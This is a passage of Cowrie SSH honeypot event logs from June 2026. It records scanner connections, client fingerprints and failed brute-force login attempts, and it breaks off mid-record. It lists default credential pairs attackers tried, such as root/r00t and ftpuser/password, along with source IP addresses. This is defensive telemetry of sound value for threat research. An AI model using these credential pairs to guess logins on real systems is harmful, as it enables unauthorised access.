{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:32.420443Z","src_ip":"141.11.88.14","session":"3636a1084e10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:32.435296Z","src_ip":"141.11.88.14","session":"3636a1084e10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"password","message":"login attempt [ftpuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:33.315753Z","src_ip":"141.11.88.14","session":"3636a1084e10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:34.400555Z","src_ip":"141.11.88.14","session":"3636a1084e10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":57736,"dst_ip":"10.17.0.5","dst_port":22,"session":"258a91e4b486","protocol":"ssh","message":"New connection: 141.11.88.14:57736 (10.17.0.5:22) [session: 258a91e4b486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:38.370989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:38.461810Z","src_ip":"141.11.88.14","session":"258a91e4b486","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:38.467125Z","src_ip":"141.11.88.14","session":"258a91e4b486","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00t","message":"login attempt [root/r00t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:38.991564Z","src_ip":"141.11.88.14","session":"258a91e4b486","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:40.081554Z","src_ip":"141.11.88.14","session":"258a91e4b486","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":56594,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a71c77db3a3","protocol":"ssh","message":"New connection: 27.71.230.31:56594 (10.17.0.5:22) [session: 6a71c77db3a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:40.309681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:40.336485Z","src_ip":"27.71.230.31","session":"6a71c77db3a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:40.587077Z","src_ip":"27.71.230.31","session":"6a71c77db3a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"PasswordD","message":"login attempt [root/PasswordD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:43.450292Z","src_ip":"27.71.230.31","session":"6a71c77db3a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":57774,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dca22a8a1c2","protocol":"ssh","message":"New connection: 141.11.88.14:57774 (10.17.0.5:22) [session: 3dca22a8a1c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:43.454814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:43.477946Z","src_ip":"141.11.88.14","session":"3dca22a8a1c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:43.552925Z","src_ip":"141.11.88.14","session":"3dca22a8a1c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"postgres","message":"login attempt [sysupdate/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:44.001246Z","src_ip":"141.11.88.14","session":"3dca22a8a1c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:44.851936Z","src_ip":"27.71.230.31","session":"6a71c77db3a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:45.106645Z","src_ip":"141.11.88.14","session":"3dca22a8a1c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.226.216.189","src_port":45742,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ad1349b5cf5","protocol":"ssh","message":"New connection: 124.226.216.189:45742 (159.203.135.109:22) [session: 6ad1349b5cf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:46.504873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:47.964413Z","src_ip":"124.226.216.189","session":"6ad1349b5cf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:47.967664Z","src_ip":"124.226.216.189","session":"6ad1349b5cf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":15172,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f638f78848b","protocol":"ssh","message":"New connection: 141.11.88.14:15172 (10.17.0.5:22) [session: 0f638f78848b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:48.413973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:48.466457Z","src_ip":"141.11.88.14","session":"0f638f78848b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:48.563037Z","src_ip":"141.11.88.14","session":"0f638f78848b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jakob","password":"jakob","message":"login attempt [jakob/jakob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:48.972478Z","src_ip":"141.11.88.14","session":"0f638f78848b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:50.062728Z","src_ip":"141.11.88.14","session":"0f638f78848b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.30167865753174,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:51.523230Z","src_ip":"128.199.8.54","session":"ade8fb0d129b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":15216,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a061f8635d4","protocol":"ssh","message":"New connection: 141.11.88.14:15216 (10.17.0.5:22) [session: 7a061f8635d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:54.636624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:54.716400Z","src_ip":"141.11.88.14","session":"7a061f8635d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:54.977405Z","src_ip":"141.11.88.14","session":"7a061f8635d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"1234","message":"login attempt [openclaw/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:55.565537Z","src_ip":"141.11.88.14","session":"7a061f8635d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:56.779551Z","src_ip":"141.11.88.14","session":"7a061f8635d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":47230,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e9694dc4faa","protocol":"ssh","message":"New connection: 147.45.211.215:47230 (159.203.135.109:22) [session: 1e9694dc4faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:57.104510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:57.109690Z","src_ip":"147.45.211.215","session":"1e9694dc4faa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:57.285135Z","src_ip":"147.45.211.215","session":"1e9694dc4faa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13071984","message":"login attempt [root/13071984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:57.818865Z","src_ip":"147.45.211.215","session":"1e9694dc4faa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":37596,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d8ad884c85d","protocol":"ssh","message":"New connection: 89.223.69.22:37596 (10.17.0.5:22) [session: 7d8ad884c85d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:58.693264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:15:58.697953Z","src_ip":"89.223.69.22","session":"7d8ad884c85d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 